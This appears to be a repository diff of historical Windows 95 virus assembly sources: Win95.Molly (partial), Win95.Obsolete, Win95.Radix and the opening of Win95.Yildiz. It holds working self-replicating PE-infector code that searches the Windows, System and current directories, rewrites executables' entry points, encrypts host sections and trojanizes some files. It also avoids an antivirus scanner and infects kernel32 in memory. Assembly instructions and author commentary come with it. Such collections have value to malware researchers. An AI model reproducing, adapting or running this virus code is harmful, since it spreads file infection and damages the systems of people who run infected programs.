mov ah,R0_OPENCREATFILE/100h ; EAX = Function OPENFILE
mov ecx,edx ; ECX = 0
inc edx ; EDX = 1
mov ebp,edx
inc ebp
xchg ebp,ebx ; EBX = 2
call R0_FileIO
jc RestoreAttributes
xchg eax,ebx ; EBX = File handle
xor eax,eax
mov ah,R0_READFILE/100h ; EAX = Function READFILE
push eax
push 04h
pop ecx ; ECX = Bytes to read (4)
push 3Ch
pop edx ; EDX = Where to read (3C)
lea esi,pe_header_ptr rd ; ESI = Where store data
call R0_FileIO
lodsd
xchg eax,edx ; EDX = Where to read
pop eax ; EAX = Function READFILE
lea esi,pe_header rd ; ESI = Where store data
xor ecx,ecx
mov ch,04h ; ECX = Bytes to read (1K)
call R0_FileIO
cmp word ptr [esi],"EP"
jnz CloseFile
mov al,"M"-"O"+"L"-"L"+"Y" ; Mark in the PE header
cmp byte ptr [esi+1Ah],al
jz CloseFile
mov byte ptr [esi+1Ah],al
mov edi,esi
movzx eax,word ptr [edi+06h] ; Get last section of header
dec eax
imul eax,eax,28h
add esi,eax
add esi,78h
mov edx,[edi+74h]
shl edx,03h
add esi,edx ; ESI = last section header
; EDI = PE header
mov [esi+24h],0E0000000h ; New sectionz attributes
and dword ptr [edi+0A0h],00h ; Nulify possible .reloc
and dword ptr [edi+0A4h],00h
cmp dword ptr [esi],"ler."
jnz CloseFile
cmp word ptr [esi+04h],"co"
jnz CloseFile
; Oh, wtf, OVERWRITE! ;)
mov dword ptr [esi],"lom." ; .reloc -> .molly
mov word ptr [esi+4],"yl"
and dword ptr [esi+18h],00h ; Clear PointerToRelocations
and word ptr [esi+20h],00h ; Clear NumberOfRelocations
push dword ptr [esi+14h] ; Where copy virus
mov eax,virus_size
mov [esi+08h],eax ; VirtualSize -> virus size
mov ecx,[edi+3Ch]
cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
mov [esi+10h],eax ; SizeOfRawData -> aligned
; virus size
mov eax,[esi+0Ch] ; New EIP
xchg eax,[edi+28h] ; Put new EIP and get old one
mov OldEIP rd,eax ; Save it
push eax
xor eax,eax
mov ah,R0_WRITEFILE/100h ; Write the modified header
inc eax
push eax
xor ecx,ecx
mov ch,04h
mov edx,pe_header_ptr rd
lea esi,pe_header rd
call R0_FileIO
fild real8 ptr [ebp+(r0fio-r0delta)] ; Fix R0_FileIO VxDJmp...
fistp real8 ptr [ebp+(R0_FileIO-r0delta)]
pop eax ; Write virus
pop ecx
pop edx
lea esi,virus_start rd
call R0_FileIO
CloseFile:
xor eax,eax
mov ah,R0_CLOSEFILE/100h
call R0_FileIO
RestoreAttributes:
pop eax
pop ecx
pop esi
call R0_FileIO
AvoidInfection:
popad
mov [eax],edx ; Restore top chain
dec byte ptr [ebx+(semaphore-r0delta)]
exit_infect:
popad
popfd
jmp ExitFileSystemHook
; input:
; ESI - Any position in the page where we want to search
; ECX - Search limit (number of pages(limit)/10)
; output:
; EAX - Base address of module/process
GetImageBase:
pushad
and esi,0FFFF0000h
_@1: cmp word ptr [esi],"ZM"
jz CheckPE
_@2: sub esi,00010000h
loop _@1
jmp WeFailed
CheckPE:
mov edi,[esi.3Ch]
add edi,esi
cmp word ptr [edi],"EP"
jnz _@2
mov [esp.PUSHAD_EAX],esi
WeFailed:
popad
ret
; --- Some shit
db 00h,"[Win95.Molly] (c) 1999 Billy Belcebu/iKX",00h
; --- Virus heap data
virus_end label byte
filename db 100h dup (00h)
pe_header db 400h dup (00h)
heap_end label byte
molly ends
end virus
+854
View File
@@ -0,0 +1,854 @@
;============================================================================
;
;
; NAME: Win95.Obsolete v1.00
; TYPE: Direct-action variable encrypting PE-infector.
; OS: Windoze95 (my version that is).
; SIZE: 1400-sumptin' bytes (yuck!).
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: December 1998 - February 1999.
; PAYLOAD: Trojanizes files.
;
;
; Driven by the painful thought that my virii would never make the rounds
; again, I had to abandon my soulmate DOS and start writing for the Win32-
; beast... may the Incubus get me...
;
; Obsolete is a 32-bit virus specifically written for Windoze95, however,
; it may or may not work correctly under other Win95-releases than mine,
; this due the fact that it uses two static API's (namely GetModuleHandleA
; and GetProcAddressA). When an infected file is executed the virus will
; try to infect up to three PE EXE/SCR files in the Windoze, System, and
; current directory. Files starting with the DWORD 'SCAN' will be excluded
; from infection, I assume McFuck's Win95-SCAN does a sanity-check, though
; I haven't verified this. Filedates/times will be preserved during the
; infection-process, and the virus won't be bothered by readonly-attributes.
; Obsolete doesn't fix a PE's alignments, Win95 doesn't give a fuck while
; WinNT does. Infection is achieved by adding the virusbody to the end of
; the victim's last section and pointing Entrypoint_RVA to this position.
; PE's are physically cut-off after the virusbody, this means that infected
; files can both grow or shrink in size. To make this heap of API's a bit
; less trivial I made it variable encrypt the last section of the host-file,
; it should harden-up recovery for the AV-pigs. Besides the virus itself is
; also variable encrypted with a seperate key. The payload is rather "harm-
; less" from my point of view, every now & then it trojanizes the file it is
; infecting, trojanized files will generate a soundblaster beep, display an
; OK-box with a message, and then exit the current process, they won't pass
; control back to their host anymore, but are still cleanable.
;
; Now why is it that almost everybody is infecting PE's by adding to the
; last section? (being called the "29A-technique" by a certain group of
; braggers). For instance, you are changing the section's flags, in Windoze
; you should always stay the fuck off things that ain't yours. Furthermore,
; when you overwrite the (supposed to be) zero padding-bytes with your virus,
; you might just as well overwrite overlay-data, and what if you decide to
; stay resident in the "stolen" section? it is very likely that the section's
; virtualsize will overlap with your virus, and thus crash the system.
;
;
; CREDITS:
;
; Thanks to Lord Julus for writing that PE-infection guide which showed me
; the basics of Win32-programming, further more JFK's One was of much help
; as it was well commented, yet not too complicated. Biggest thanks go to
; Virogen and Murkry for teaching me the steps of how to infect a PE-file.
; Unfortunately Johnny Panic's info was a bit too advanched for me to
; understand as for now, and TechnoDrunk's advice was as usual hidden
; between a large amount of polymorphic junk-comments. Much information was
; gathered from the excellent PE-essays written by Micheal J. O'Leary and
; B. Luevelsmeyer (though the last one mentioned contained some errors).
;
; As this is my 1st Win32-virus, errors are very likely to exist in this
; source, if you do find any of them, and/or have any advice for me regarding
; Win32-coding, please do inform me about it.
;
; P.S. First generations will crash on exit.
;
; P.P.S. How the fuck do I smash sectors in Win32 ?
;
;============================================================================
ORG 0
.386p
.MODEL FLAT
.DATA
DD 0 ; Uch, without this the file will
; crash, don't ask me why...
EXTRN CreateThreadA:PROC ; GetProcAddress seems to need these.
EXTRN MessageBoxIndirectA:PROC
.CODE
Off = 0
On = 1
Debug_Mode = On ; If switched on, only DUM*.*
; will be infected.
Files_Per_Dir EQU 3 ; 3 files per directory.
Marker_File EQU 'T2IR' ; Creeping through ur files.
Virus_Size EQU (Virus_End-START) ; Physical virussize.
Virus_Size_Mem EQU (Virus_End_Mem-START) ; Virtual virussize.
START:
PUSHFD ; Save flags & registers.
PUSHAD
CALL Get_Delta ; Get our position in memory.
Get_Delta: POP ESI
SUB ESI, (Get_Delta-START)
MOV AL, 0 ; Load initial virus-key.
Initial_Key = BYTE PTR $-1
MOV EBX, (Encrypted-START)
MOV ECX, (Virus_End-Encrypted)
Decrypt_Byte: XOR [ESI+EBX], AL ; Decrypt a byte.
INC EBX ; Next one please.
ADD AL, 0 ; X-Ray, away.
Sliding_Key = BYTE PTR $-1
LOOP Decrypt_Byte ; And repeat the process.
Encrypted: ; All that comes after this is kept encrypted in PE's.
; Get image-base, this method should also work
; if the image is loaded at a different base
; than the one specified in the PE-header.
MOV EAX, ESI
SUB EAX, 12345678h
Virus_RVA = DWORD PTR $-4
MOV [ESI+(Host_Image_Base-START)], EAX
ADD [ESI+(Old_EIP-START)], EAX
MOV EAX, (KERNEL32_API-START)
LEA EDI, [ESI+(K32_API_Addresses-START)]
CALL Retrieve_API
JECXZ JMP_Exec_Host
JMP Begin_Search
Payload_Switch = BYTE PTR $-1
Trojan: ; Trojanized files will continue execution here.
; Retrieve API-addresses in USER32.DLL.
MOV EAX, (USER32_API-START)
CALL Retrieve_API
JECXZ JMP_Exec_Host
; Generate a soundblaster-beep.
PUSH MB_ICONEXCLAMATION
CALL [ESI+(MessageBeep-START)]
; Display a box with a message.
PUSH MB_ICONEXCLAMATION
LEA EAX, [ESI+(Window_Name-START)]
PUSH EAX
LEA EAX, [ESI+(Payload_Msg-START)]
PUSH EAX
PUSH 0
CALL [ESI+(MessageBoxA-START)]
; Exit current process.
CALL [ESI+(ExitProcess-START)]
Window_Name DB 'Win95.Obsolete v1.00', 0
Payload_Msg DB 'MAN HAS BECOME OBSOLETE... FEAR THE MACHINES!', 0
JMP_Exec_Host: JMP Execute_Host
Begin_Search:
LEA EBX, [ESI+(Current_Directory-START)]
MOV ECX, MAX_PATH
PUSH EBX
; Save original path.
PUSH EBX
PUSH ECX
CALL [ESI+(GetCurrentDirectoryA-START)]
; Obtain path to Windoze-directory.
ADD EBX, ECX
PUSH EBX
PUSH ECX
PUSH EBX
CALL [ESI+(GetWindowsDirectoryA-START)]
; Obtain path to Windoze\System-directory.
ADD EBX, ECX
PUSH EBX
PUSH ECX
PUSH EBX
CALL [ESI+(GetSystemDirectoryA-START)]
; Infect files in Windoze-directory.
MOV EBX, [ESI+(SetCurrentDirectoryA-START)]
CALL EBX
CALL Infect_Directory
; Infect files in Windoze\System-directory.
CALL EBX
CALL Infect_Directory
; Infect files in the current directory.
CALL EBX
CALL Infect_Directory
Execute_Host: MOV ECX, 0
Section_Size = DWORD PTR $-4
JECXZ Virus_Exit
MOV EBX, 400000h
Host_Image_Base = DWORD PTR $-4
ADD EBX, OFFSET Carrier
RVA_Encrypted = DWORD PTR $-4
MOV AL, 0
Init_K_Section = BYTE PTR $-1
Decr_Section: XOR [EBX], AL ; Decrypt the host's section.
INC EBX
ADD AL, 0
Slide_K_Section = BYTE PTR $-1
LOOP Decr_Section
Virus_Exit: POPAD ; Restore registers & flags.
POPFD
MOV EAX, OFFSET Carrier ; EAX = EIP of program.
Old_EIP = DWORD PTR $-4
JMP EAX
Infect_Directory:
PUSHAD
; Reset infection-counter.
AND BYTE PTR [ESI+(Infect_Counter-START)], 0
LEA EAX, [ESI+(Search_Buffer-START)]
PUSH EAX
LEA EAX, [ESI+(File_Spec-START)]
PUSH EAX
CALL [ESI+(FindFirstFileA-START)]
CMP EAX, -1 ; Abort on error.
JE Exit_Infect
XCHG EBP, EAX
Infect_Loop: CMP BYTE PTR [ESI+(Infect_Counter-START)], Files_Per_Dir
JNB Exit_Infect
Infect_File: PUSH EBP
LEA EBX, [ESI+(Search_Buffer.Find_File_Name-START)]
Check_File_Ext: MOV EDI, EBX
XOR AL, AL ; Find end of ASCIIZ-string.
MOV CH, 0FFh
CLD
REPNZ SCASB
MOV EAX, [EDI-5] ; Get last DWORD of filename.
CALL Upcase_EAX
CMP EAX, 'EXE.' ; Standard .EXE-file?
JE Check_Filename
Go_Find_Next_F: CMP EAX, 'RCS.' ; Screensaver-file?
JNE Find_Next_File
Check_Filename: MOV EAX, [EBX] ; Get 1st DWORD of filename.
CALL Upcase_EAX
CMP EAX, 'NACS' ; Don't infect McFuck SCAN,
JE Go_Find_Next_F ; (most overused Windoze AV).
Save_File_Attr: PUSH EBX
CALL [ESI+(GetFileAttributesA-START)]
PUSH EAX
PUSH EBX
; Clear the readonly-flag.
AND AL, NOT FILE_ATTRIBUTE_READONLY
PUSH EAX
PUSH EBX
CALL [ESI+(SetFileAttributesA-START)]
XOR EBP, EBP
PUSH EBP ; Open the file.
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EBP
PUSH EBP
PUSH GENERIC_READ OR GENERIC_WRITE
PUSH EBX
CALL [ESI+(CreateFileA-START)]
CMP EAX, -1 ; Error?
JE Restore_Attr
MOV [ESI+(File_Handle-START)], EAX
PUSH EAX
XCHG EDI, EAX
; Save the host's time/date of creation,
; last access, and last write.
LEA EAX, [ESI+(Victim_Last_Write_Time-START)]
PUSH EAX
PUSH EAX
ADD EAX, 8
PUSH EAX
ADD EAX, 8
PUSH EAX
PUSH EDI
CALL [ESI+(GetFileTime-START)]
PUSH EBP
PUSH EDI
CALL [ESI+(GetFileSize-START)]
MOV [ESI+(Host_Size-START)], EAX
ADD EAX, Virus_Size
; Like, allocate memory for the mapped file, or
; whatever the fuck this shit is neccesary for.
PUSH EBP
PUSH EAX
PUSH EBP
PUSH PAGE_READWRITE
PUSH EBP
PUSH EDI
CALL [ESI+(CreateFileMappingA-START)]
OR EAX, EAX ; Error?
JZ Close_File
PUSH EAX
; This should map the file in our
; allocated memory, am I not right???
PUSH EBP ; WHOLE file.
PUSH EBP
PUSH EBP
PUSH FILE_MAP_WRITE
PUSH EAX
CALL [ESI+(MapViewOfFile-START)]
OR EAX, EAX ; Error?
JZ Close_Mapping
PUSH EAX
CMP [EAX.EXE_Mark], 'ZM' ; File must be .EXE-type.
JNE Unmap_File
CMP [EAX.Reloc_Table], 40h ; It has a NE/PE-header?
JB Unmap_File
MOV ECX, [EAX+3Ch] ; Obtain pointer to PE-header.
LEA EDI, [EAX+ECX] ; EDI = PE-header.
CMP [EDI.PE_Mark], 'EP' ; Make sure it's a PE-file.
JNE Unmap_File
; A bit redundant, I guess...
CMP [EDI.CPU_Type], 14Ch ; This PE is for 386+'s ?
JNE Unmap_File
; === Avoid DLL's. ===
TEST BYTE PTR [EDI.PE_Flags+1], 00100000b
JNZ Unmap_File
; === Did we already infect it before? ===
CMP [EDI.Reserved_1], Marker_File
JE Unmap_File
XCHG EBX, EAX ; EBX = Mapping-address.
; === Get last section-header. ===
XOR EAX, EAX
MOV AX, [EDI.Number_Of_Sections]
DEC AX
MOV ECX, 40
MUL ECX
MOV EDX, EDI ; EDX = PE-header.
MOV BP, [EDX.Headers_Size]
ADD EBP, 18h
ADD EBP, EAX
ADD EBP, EDX ; EBP = Last section-header.
MOV EAX, [EBP.Section_Start]
ADD EAX, [EBP.Section_Size_Raw]
LEA EDI, [EAX+EBX] ; Offset of virus in file.
PUSHAD
MOV ECX, Virus_Size ; Copy virus to mapped file.
CLD
REP MOVSB
POPAD
ADD EAX, Virus_Size ; Set new size of host.
MOV [ESI+(Host_Size-START)], EAX
PUSH [EDX.Entry_Point]
POP DWORD PTR [EDI+(Old_EIP-START)]
; Calculate virus' new EIP RVA.
MOV EAX, [EBP.Section_RVA]
ADD EAX, [EBP.Section_Size_Raw]
MOV [EDX.Entry_Point], EAX ; Set our new entrypoint.
MOV [EDI+(Virus_RVA-START)], EAX
IN AX, 40h ; Get a random value in AL.
XOR AL, AH
AND AL, 11111100b ; Trojanize this victim?
JNZ Skip_Trojanize
; Patch JMP to let it point to the trojan-code.
MOV [EDI+(Payload_Switch-START)], AL
Skip_Trojanize: MOV EAX, [EBP.Section_Size_Raw]
MOV ECX, [EBP.Section_Size_Virtual]
; Always pick the smallest size.
CMP EAX, ECX ; The other one is smaller?
JNB Not_Bigger ; No, leave things this way.
XCHG ECX, EAX ; Else use the smaller size.
Not_Bigger: MOV [EDI+(Section_Size-START)], ECX
ADD [EBP.Section_Size_Virtual], Virus_Size_Mem
ADD [EBP.Section_Size_Raw], Virus_Size
ADD [EDX.Image_Size], Virus_Size
; Set object-flags: code, executable, readable, and writable.
OR [EBP.Section_Flags], 11100000000000000000000000100000b
JECXZ Encrypt_Virus ; Don't let LOOP overflow.
ADD EBX, [EBP.Section_Start]
PUSH [EBP.Section_RVA]
POP DWORD PTR [EDI+(RVA_Encrypted-START)]
IN AX, 40h ; Get random keys.
MOV [EDI+(Init_K_Section-START)], AL
MOV [EDI+(Slide_K_Section-START)], AH
Encr_Section: XOR [EBX], AL ; Encrypt host's last section.
INC EBX
ADD AL, AH
LOOP Encr_Section
Encrypt_Virus: IN AX, 40h ; Get a random value in AX.
MOV [EDI+(Initial_Key-START)], AL
MOV [EDI+(Sliding_Key-START)], AH
ADD EDI, (Encrypted-START)
MOV ECX, (Virus_End-Encrypted)
Encrypt_Byte: XOR [EDI], AL ; Encrypt virusbody.
INC EDI
ADD AL, AH
LOOP Encrypt_Byte
; Mark this host as being infected.
MOV [EDX.Reserved_1], Marker_File
; We succesfully infected yet another file.
INC BYTE PTR [ESI+(Infect_Counter-START)]
Unmap_File: CALL [ESI+(UnmapViewOfFile-START)]
Close_Mapping: CALL [ESI+(CloseHandle-START)]
Close_File: PUSH 0
PUSH 0
PUSH 12345678h
Host_Size = DWORD PTR $-4
PUSH DWORD PTR [ESI+(File_Handle-START)]
CALL [ESI+(SetFilePointer-START)]
PUSH DWORD PTR [ESI+(File_Handle-START)]
CALL [ESI+(SetEndOfFile-START)]
POP EAX
PUSH EAX ; Restore original filedates
ADD EAX, 8 ; and times.
PUSH EAX
ADD EAX, 8
PUSH EAX
PUSH 12345678h
File_Handle = DWORD PTR $-4
CALL [ESI+(SetFileTime-START)]
CALL [ESI+(CloseHandle-START)]
Restore_Attr: CALL [ESI+(SetFileAttributesA-START)]
Find_Next_File: POP EBP
; Now go find the next .EXE-file.
LEA EAX, [ESI+(Search_Buffer-START)]
PUSH EAX
PUSH EBP
CALL [ESI+(FindNextFileA-START)]
OR EAX, EAX
JNZ Infect_Loop
Exit_Infect: POPAD
RET
Author DB '(c) 1998-1999 by T-2000 / Immortal Riot', 0
; EAX = Offset to module-name.
; EDI = Pointer to buffer API-addresses.
Retrieve_API:
PUSH ESI
MOV EBX, ESI ; EBX holds the delta-offset.
ADD ESI, EAX ; Module-name.
; === Get the base-address of the given module. ===
PUSH ESI
CALL [EBX+(GetModuleHandleA-START)]
XCHG ECX, EAX
JECXZ Exit_Get_API
MOV EBP, ECX ; EBP = Module-base.
ADD ESI, 13 ; ESI = Start API-names.
Retrieve_Addr: PUSH ESI ; Retrieve the API's address.
PUSH EBP
CALL [EBX+(GetProcAddress-START)]
CLD ; Store the API-address.
STOSD
XCHG ECX, EAX
JECXZ Exit_Get_API
Find_End_API: LODSB ; Go to next API-name.
OR AL, AL ; Reached the end of ASCIIZ?
JNZ Find_End_API
CMP [ESI], AL ; We did 'em all?
JNZ Retrieve_Addr ; Nope, so continue loop.
Exit_Get_API: POP ESI
RET
; Don't use a lame AND to convert to uppercase, it'll
; screw things up with non-alfabethical characters.
Upcase_EAX:
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
Upcase_AL: CMP AL, 'a'
JB Exit_Upcase_AL
CMP AL, 'z'
JA Exit_Upcase_AL
SUB AL, 'a' - 'A'
Exit_Upcase_AL: RET
; ********************* DATA AREA *******************************************
IF Debug_Mode
File_Spec DB 'DUM*.*', 0 ; Searchmask for debugmode.
ELSE
File_Spec DB '*.*', 0 ; Searchmask for wildmode.
ENDIF
; All API's used by the actual infection-process.
KERNEL32_API DB 'KERNEL32.dll', 0
DB 'GetWindowsDirectoryA', 0
DB 'GetSystemDirectoryA', 0
DB 'FindFirstFileA', 0
DB 'FindNextFileA', 0
DB 'CreateFileA', 0
DB 'CreateFileMappingA', 0
DB 'MapViewOfFile', 0
DB 'UnmapViewOfFile', 0
DB 'CloseHandle', 0
DB 'GetFileTime', 0
DB 'SetFileTime', 0
DB 'GetFileSize', 0
DB 'SetFilePointer', 0
DB 'SetEndOfFile', 0
DB 'GetCurrentDirectoryA', 0
DB 'SetCurrentDirectoryA', 0
DB 'GetFileAttributesA', 0
DB 'SetFileAttributesA', 0
DB 'ExitProcess', 0
DB 0
; This shit is only used by the trojan-code.
USER32_API DB 'USER32.dll', 0, 0, 0
DB 'MessageBoxA', 0
DB 'MessageBeep', 0
DB 0
; Fuck, these are hardcoded!
GetModuleHandleA DD 0BFF775BDh
GetProcAddress DD 0BFF76D5Ch
Virus_End:
K32_API_Addresses:
GetWindowsDirectoryA DD 0
GetSystemDirectoryA DD 0
FindFirstFileA DD 0
FindNextFileA DD 0
CreateFileA DD 0
CreateFileMappingA DD 0
MapViewOfFile DD 0
UnmapViewOfFile DD 0
CloseHandle DD 0
GetFileTime DD 0
SetFileTime DD 0
GetFileSize DD 0
SetFilePointer DD 0
SetEndOfFile DD 0
GetCurrentDirectoryA DD 0
SetCurrentDirectoryA DD 0
GetFileAttributesA DD 0
SetFileAttributesA DD 0
ExitProcess DD 0
U32_API_Addresses:
MessageBoxA DD 0
MessageBeep DD 0
Current_Directory DB MAX_PATH DUP(0)
Windows_Directory DB MAX_PATH DUP(0)
System_Directory DB MAX_PATH DUP(0)
Infect_Counter DB 0
Victim_Last_Write_Time DD 0, 0
Victim_Last_Access_Time DD 0, 0
Victim_Creation_Time DD 0, 0
Search_Buffer DB 666 DUP(0)
Virus_End_Mem:
; ???????????????????????????????????????????????????????????????????????????
Section_Header STRUC
Section_Name DB 8 DUP(0)
Section_Size_Virtual DD 0
Section_RVA DD 0
Section_Size_Raw DD 0
Section_Start DD 0
DD 0, 0
DW 0, 0
Section_Flags DD 0
Section_Header ENDS
Find_First_Next_Win32 STRUC
File_Attributes DD 0
Creation_Time DD 0, 0
Last_Accessed_Time DD 0, 0
Last_Written_Time DD 0, 0
Find_File_Size_High DD 0
Find_File_Size_Low DD 0
Find_Reserved_1 DD 0
Find_Reserved_2 DD 0
Find_File_Name DB 260 DUP(0)
Find_DOS_File_Name DB 13 DUP(0)
Find_First_Next_Win32 ENDS
EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Reloc_Table DW 0
EXE_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0
Number_Of_Sections DW 0
DD 0
Reserved_1 DD 0
DD 0
Headers_Size DW 0
PE_Flags DW 0
DW 8 DUP(0)
Entry_Point DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
DD 0
Image_Size DD 0
PE_Header ENDS
; This shit ain't complete.
INCLUDE WIN32API.INC
Carrier:
PUSH 0
CALL ExitProcess
END START
+238
View File
@@ -0,0 +1,238 @@
; Win95.Radix by Radix16[MIONS]
; Made in Czech republic
;
;Hi,
;
;It's my first Ring3 virus for Win9x.Virus not testing WinNT system.
;
;Target : PE filez
;Virus size : 405(402)
;Resident : NO
;Polymorhic : NO
;
;Virus not dangerous, but .....
;
;Decription AVP:
;
;http://www.avp.ch/avpve/newexe/win95/radix.stm
;
;It is a harmless nonmemory resident parasitic Win9x virus. It searches
;for PE EXE files in the current directory, then writes itself to the
;middle of the file, to not used space at the end of the PE header.
;
;The virus does not manifest itself in any way. It contains the text:
;
; Radix16
;Greets to :
; Worf[MIONS]
; VirusBuster/29
; Prizzy/29A
;
;
;How to build:
; tasm32 -ml -m5 radix.asm
; tlink32 -Tpe -aa -c -x radix.obj,,, import32
; pewrsec radix.exe
;
;Contacty mee : Radix16@atlas.cz
; Radix16.cjb.net
.386p
locals
.Model Flat,STDCALL
extrn ExitProcess :proc
extrn GetModuleHandleA : proc
.Data
db ?
.Code
vStart label byte
Start:
db 68h
;Save old eip
oldip: dd offset exit
pushad
Call Next
id db 'Radix16'
Next:
pop ebp
mov esi,KERNEL32+3ch
lodsd
add eax,KERNEL32
xchg eax,esi
mov esi,dword ptr [esi+78h]
lea esi,dword ptr [esi+1ch+KERNEL32]
lodsd
mov eax,dword ptr [eax+KERNEL32]
add eax,KERNEL32
push eax
push 20060000h
push 0h
push 1h
db 68h
currPage:
dd FSTGENPAGE
push 1000dh
call eax
pop dword ptr [_VxDCALL0+ebp-X]
inc eax
jz _exit
inc eax
;allocation memory
push 00020000h or 00040000h
push 2h
push 80060000h
push 00010000h
call dword ptr [_VxDCALL0+ebp-X]
mov dword ptr [memory+ebp-X],eax
push 00020000h or 00040000h or 80000000h or 8h
push 0h
push 1h
push 2h
shr eax,12
push eax
push 00010001h
call dword ptr [_VxDCALL0+ebp-X]
;Create DTA
mov ah,1ah
mov edx,dword ptr [memory+ebp-X] ;buffer
add edx,1000h
call int21
mov ah,4eh ;FindFirstFile
lea edx,[_exe+ebp-X] ;What search
xor ecx,ecx ;normal attributes
tryanother:
call int21
jc _exit ;is filez ?
call _infect
mov ah,4fh ;FindNextFile
Jmp tryanother
_exit:
popad
ret
_exe db '*.*',0 ;filez search
int21:
;VxDCALL services
push ecx
push eax
push 002a0010h
call dword ptr [_VxDCALL0+ebp-X]
ret
FP: ;Set file pointer
mov ah,42h
cdq ;xor dx,dx
xor cx,cx
call int21
ret
_infect:
mov edx,dword ptr [memory+ebp-X] ;Name file
add edx,101eh
mov ax,3d02h ;Open File R/W
call int21
jc quit ;Error ?
xchg eax,ebx ;FileHandle
mov ah,3fh ;Read File
mov ecx,1000h ;Read 1000h bytes
mov edx,dword ptr [memory+ebp-X]
call int21
jc quitz ;Error ?
mov edi,edx
cmp word ptr [edi],'ZM' ;Test Header (EXE)
jne quitz ;yes or no ?
cmp word ptr [edi+32h],'61' ;Test infection
je quitz ;Yes, virus is in file ?
mov word ptr [edi+32h],'61' ;No ,Save ID to file
add edi,dword ptr [edi+3ch] ;Testing Portable Executable(PE)
cmp word ptr [edi],'EP'
jne quitz
mov esi,edi
mov eax,18h ;Shift image header
add ax,word ptr [edi+14h]
add edi,eax
;Search end section
movzx cx,word ptr [esi+06h]
mov ax,28h
mul cx
add edi,eax
mov ecx,dword ptr [esi+2ch]
mov dword ptr [esi+54h],ecx
push edi
sub edi,dword ptr [memory+ebp-X]
xchg edi,dword ptr [esi+28h]
mov eax,dword ptr [esi+34h]
add edi,eax
shr eax,12
mov dword ptr [currPage+ebp-X],eax
mov dword ptr [oldip+ebp-X],edi ;Save old EIP
pop edi
mov ecx,VirusSize
lea esi,[vStart+ebp-X]
rep movsb ;CopyVirus
xor al,al ;SetFilePointer 0=beginning file
call FP ;mov al,0
mov ah,40h ;Write to file
mov ecx,1000h
mov edx,dword ptr [memory+ebp-X]
call int21
quitz:
mov ah,3eh ;CloseFile
call int21
quit:
ret
exit:
vEnd label byte
ret
VirusSize equ vEnd-vStart
KERNEL32 equ 0bff70000h ;Win9X kernel address
FSTGENPAGE equ 000400000h/1000h
X equ offset id
_VxDCALL0 dd ?
memory dd ? ;Buffer
Virual_End:
ends
End Start
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+336
View File
@@ -0,0 +1,336 @@
; *************************************************************************
; ******************** ********************
; ******************** Win95.Yildiz ********************
; ******************** by ********************
; ******************** Black Jack ********************
; ******************** ********************
; *************************************************************************
comment ~
NAME: Win95.Yildiz
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
TYPE: Win9x direct acting/global ring3 resident PE header cavity virus
SIZE: 323 bytes (but of course infected files won't increase in size)
DESCRIPTION: When an infected file is run, the virus takes control. It then
tries to find the kernel32 base address by a simple algorithm
which should make it compatible with Win9X and WinME (although I
haven't tested it with the second one). After that it gets the
undocumented Win9X API VxDCall0 and uses it to call int 21h. The
VxDCall0 API is the very first exported API in Win9X; I don't
know which API is first in WinNT, that's why unpredictable
results may occur when the virus runs in that OS (I haven't tried
it out, but of course the virus can't work in NT).
Then it goes TSR (read more about this a bit later), and infects
all PE EXE files in the current directory by overwriting the
unused padding bytes in the PE header with the virus body.
The memory residency consist in infecting kernel32.dll in memory.
To do so, it creates a temporary file called "Yildiz." and writes
the first 4KB of kernel32.dll there. Then this file is infected
like any other PE file. And finally the content of the infected
temp file is read back into kernel32 memory. Yep, you have read
right, by using the int21h with VxDCall0 you can read from a file
into read-only memory! (This trick was discovered by Murkry/IkX,
read more about it in the comments to his Darkside virus source,
published in Xine#3).
As I have already said, the kernel32 is infected in memory just
like any other file, this means the entry point is set to the
virus, no APIs are hooked. As you should know, the entry point
of a DLL is a init routine that is called whenever the DLL is
loaded by a program. And since kernel32 is imported by all
programs, this means for us that whenever a program is run (and
kernel32 is mapped into the program's address space), our virus
will infect all PE EXE files in the directory of the program.
ASSEMBLE WITH:
tasm32 /mx /m yildiz.asm
tlink32 /Tpe /aa yildiz.obj,,, import32.lib
there's no need for PEWRSEC or a similar tool, because the
virus code is supposed to run in read-only memory anyways.
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
Therefore, this source was only written for research and
education. Please do not spread it. The author can't be hold
responsible for what you decide to do with this source.
~
; ===========================================================================
virus_size EQU (virus_end - virus_start)
Extrn MessageBoxA:Proc ; for first generation only
Extrn ExitProcess:Proc
.386p
.model flat
.data
dd 0 ; dummy data, you know...
.code
virus_start:
pushad ; save all registers
xchg edi, eax ; put delta offset to EDI (EAX=start
; offset of program by default)
mov eax, [esp+8*4] ; EAX=some address inside kernel32
sub esp, size stack_frame ; reserve room on stack
mov esi, esp ; set ESI to our data on the stack
search_kernel32:
xor ax,ax ; we assume the least significant
; word of the kernel32 base is zero
cmp word ptr [eax], "ZM" ; is there a MZ header ?
JE found_kernel32 ; if yes, we found the correct
; kernel32 base address
dec eax ; 0BFF80000->0BFF7FFFF, and then the
; least significant word is zeroed
JMP search_kernel32 ; check next possible kernel32 base
tmp_filename db "Yildiz", 0
filespec db "*.EXE", 0
found_kernel32:
mov ebx, [eax+3Ch] ; EBX=kernel32 PE header RVA
add ebx, eax ; EBX=offset of kernel32 PE header
mov ebx, [ebx+120] ; EBX=export table RVA
mov ebx, [ebx+eax+1Ch] ; EBX=Address array of API RVAs
mov ebx, [ebx+eax] ; get the first API RVA: VxDCall0
add ebx, eax ; EBX=Offset VxDCall0 API
mov [esi.VxDCall0], ebx ; save it
